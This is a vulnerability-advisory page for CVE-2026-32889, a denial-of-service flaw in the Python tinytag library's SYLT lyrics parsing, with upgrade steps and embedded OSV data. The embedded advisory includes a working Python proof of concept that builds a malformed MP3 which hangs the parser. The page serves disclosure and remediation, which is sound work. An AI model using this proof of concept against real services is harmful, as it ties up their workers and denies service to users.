CVE-2026-32889: Tinytag Denial of Service Vulnerability
MODERATECVE-2026-32889 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting Tinytag libraries in the PyPI ecosystem. The issue involves denial of service via non-terminating sylt frame parsing loop in tinytag. Remediation is available by upgrading affected packages to version 2.2.1.
CVE-2026-32889 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-32889
To remediate this vulnerability, upgrade all affected Tinytag dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install tinytag>=2.2.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show tinytag
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-32889, inspect your installed packages using pip:
pip show tinytag
Analyze the terminal output to locate any version of Tinytag in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.2.1), your application is affected.
Note: The pip show tinytag command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In Tinytag, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-32889 Affected Tinytag Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tinytag
|
PyPI |
< 2.2.1
|
2.2.1
|
References
Frequently Asked Questions
What is CVE-2026-32889?
Which Tinytag versions are affected?
What version fixes CVE-2026-32889?
Is tinytag affected?
What is the CVSS score of CVE-2026-32889?
What CWE is associated with CVE-2026-32889?
How can I check PyPI dependencies for CVE-2026-32889?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f4rq-2259-hv29",
"modified" : "2026-03-20T21:20:19Z",
"published" : "2026-03-19T17:25:59Z",
"aliases" : [ "CVE-2026-32889" ],
"summary" : "Denial of service via non-terminating SYLT frame parsing loop in tinytag",
"details" : "### Summary\n\n`tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.\n\n### Details\n\nIn tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is:\n\n- `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L144-L154)\n- `_load` in [`tinytag/tinytag.py#L259-L266`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L259-L266)\n- `_parse_tag` and `_parse_id3v2` in [`tinytag/tinytag.py#L1059-L1092`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1059-L1092)\n- `_parse_frame` for `SYLT` / `SLT` in [`tinytag/tinytag.py#L1316-L1318`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1316-L1318)\n- `_parse_synced_lyrics` and `_find_string_end_pos` in [`tinytag/tinytag.py#L1219-L1248`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1219-L1248) and [`tinytag/tinytag.py#L1340-L1352`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1340-L1352)\n\nThe root cause is that `_parse_synced_lyrics` assumes `_find_string_end_pos` always returns a position greater than the current `offset`. That assumption is false when no string terminator is present in the remaining frame content.\n\nFor single-byte encodings, `_find_string_end_pos` does:\n\n```python\nreturn content.find(b'\\x00', start_pos) + 1\n```\n\nIf no terminator exists, `content.find(...)` returns `-1`, so the function returns `0`. `_parse_synced_lyrics` then does `offset = end_pos`, which resets `offset` to `0` inside:\n\n```python\nwhile offset < content_length:\n end_pos = self._find_string_end_pos(content, encoding, offset)\n value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\\n')\n offset = end_pos\n time = unpack('>I', content[offset:offset + 4])[0]\n```\n\nBecause `offset` is reset to `0`, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in `_find_string_end_pos` has the same shape: if no `b'\\x00\\x00'` terminator is found, it also returns `0`, so the same non-progress condition applies there.\n\n`SYLT` parsing support was introduced by commit [`4d649b9c314ada8ff8a74e0469e9aadb3acb252a`](https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a) (`ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)`), which first shipped in `2.2.0`. I confirmed that `2.1.2` does not contain `_parse_synced_lyrics`, so `2.2.0` is the only confirmed affected release at this time.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS `26.3` / Darwin `arm64`\n- Python `3.14.3`\n- Confirmed affected release: `tinytag 2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`)\n- Also reproduced on current `main` commit `1d23f6fe169c92c070a265f9108e295577141383`\n\n### PoC\n\nThe following self-contained PoC generates a malformed `SYLT` frame and passes it to `TinyTag.get`:\n\n```python\n#!/usr/bin/env python3\nimport signal\nimport struct\nimport time\nfrom io import BytesIO\n\nfrom tinytag import TinyTag\n\n\ndef create_malicious_mp3() -> bytes:\n id3_header = b\"ID3\" + bytes([3, 0, 0]) # ID3v2.3\n encoding = b\"\\x00\" # ISO-8859-1\n language = b\"eng\"\n timestamp_format = b\"\\x02\"\n content_type = b\"\\x01\"\n descriptor = b\"test\\x00\"\n lyrics_data = b\"A\" * 50 # no null terminator in the remaining SYLT payload\n frame_content = (\n encoding + language + timestamp_format + content_type + descriptor + lyrics_data\n )\n frame = b\"SYLT\" + struct.pack(\">I\", len(frame_content)) + b\"\\x00\\x00\" + frame_content\n\n tag_size = len(frame)\n synchsafe = bytearray(4)\n n = tag_size\n for i in range(3, -1, -1):\n synchsafe[i] = n & 0x7F\n n >>= 7\n\n return (\n id3_header\n + bytes(synchsafe)\n + frame\n + b\"\\xff\\xfb\\x90\\x00\"\n + b\"\\x00\" * 413\n )\n\n\ndef timeout_handler(signum, frame) -> None:\n print(\"CONFIRMED: parsing did not finish within 10.0s; external interruption was required\")\n raise SystemExit(1)\n\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(10)\nstart = time.time()\n\ntry:\n TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename=\"poc.mp3\")\n signal.alarm(0)\n print(f\"Unexpectedly completed in {time.time() - start:.3f}s\")\nexcept SystemExit:\n raise\nexcept Exception as exc:\n signal.alarm(0)\n print(f\"Unexpected exception before timeout: {type(exc).__name__}: {exc}\")\n```\n\nObserved output on `2.2.0` in the environment above:\n\n```text\nCONFIRMED: parsing did not finish within 10.0s; external interruption was required\n```\n\n### Impact\n\nAn attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.\n\nIn server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.\n\n### Patches\n\nFixed in the following commits:\n\n- https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402\n- https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "tinytag"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.2.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.2.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32889"
}, {
"type" : "WEB",
"url" : "https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a"
}, {
"type" : "WEB",
"url" : "https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a"
}, {
"type" : "WEB",
"url" : "https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/tinytag/tinytag"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-835" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-19T17:25:59Z",
"nvd_published_at" : "2026-03-20T03:15:59Z"
}
}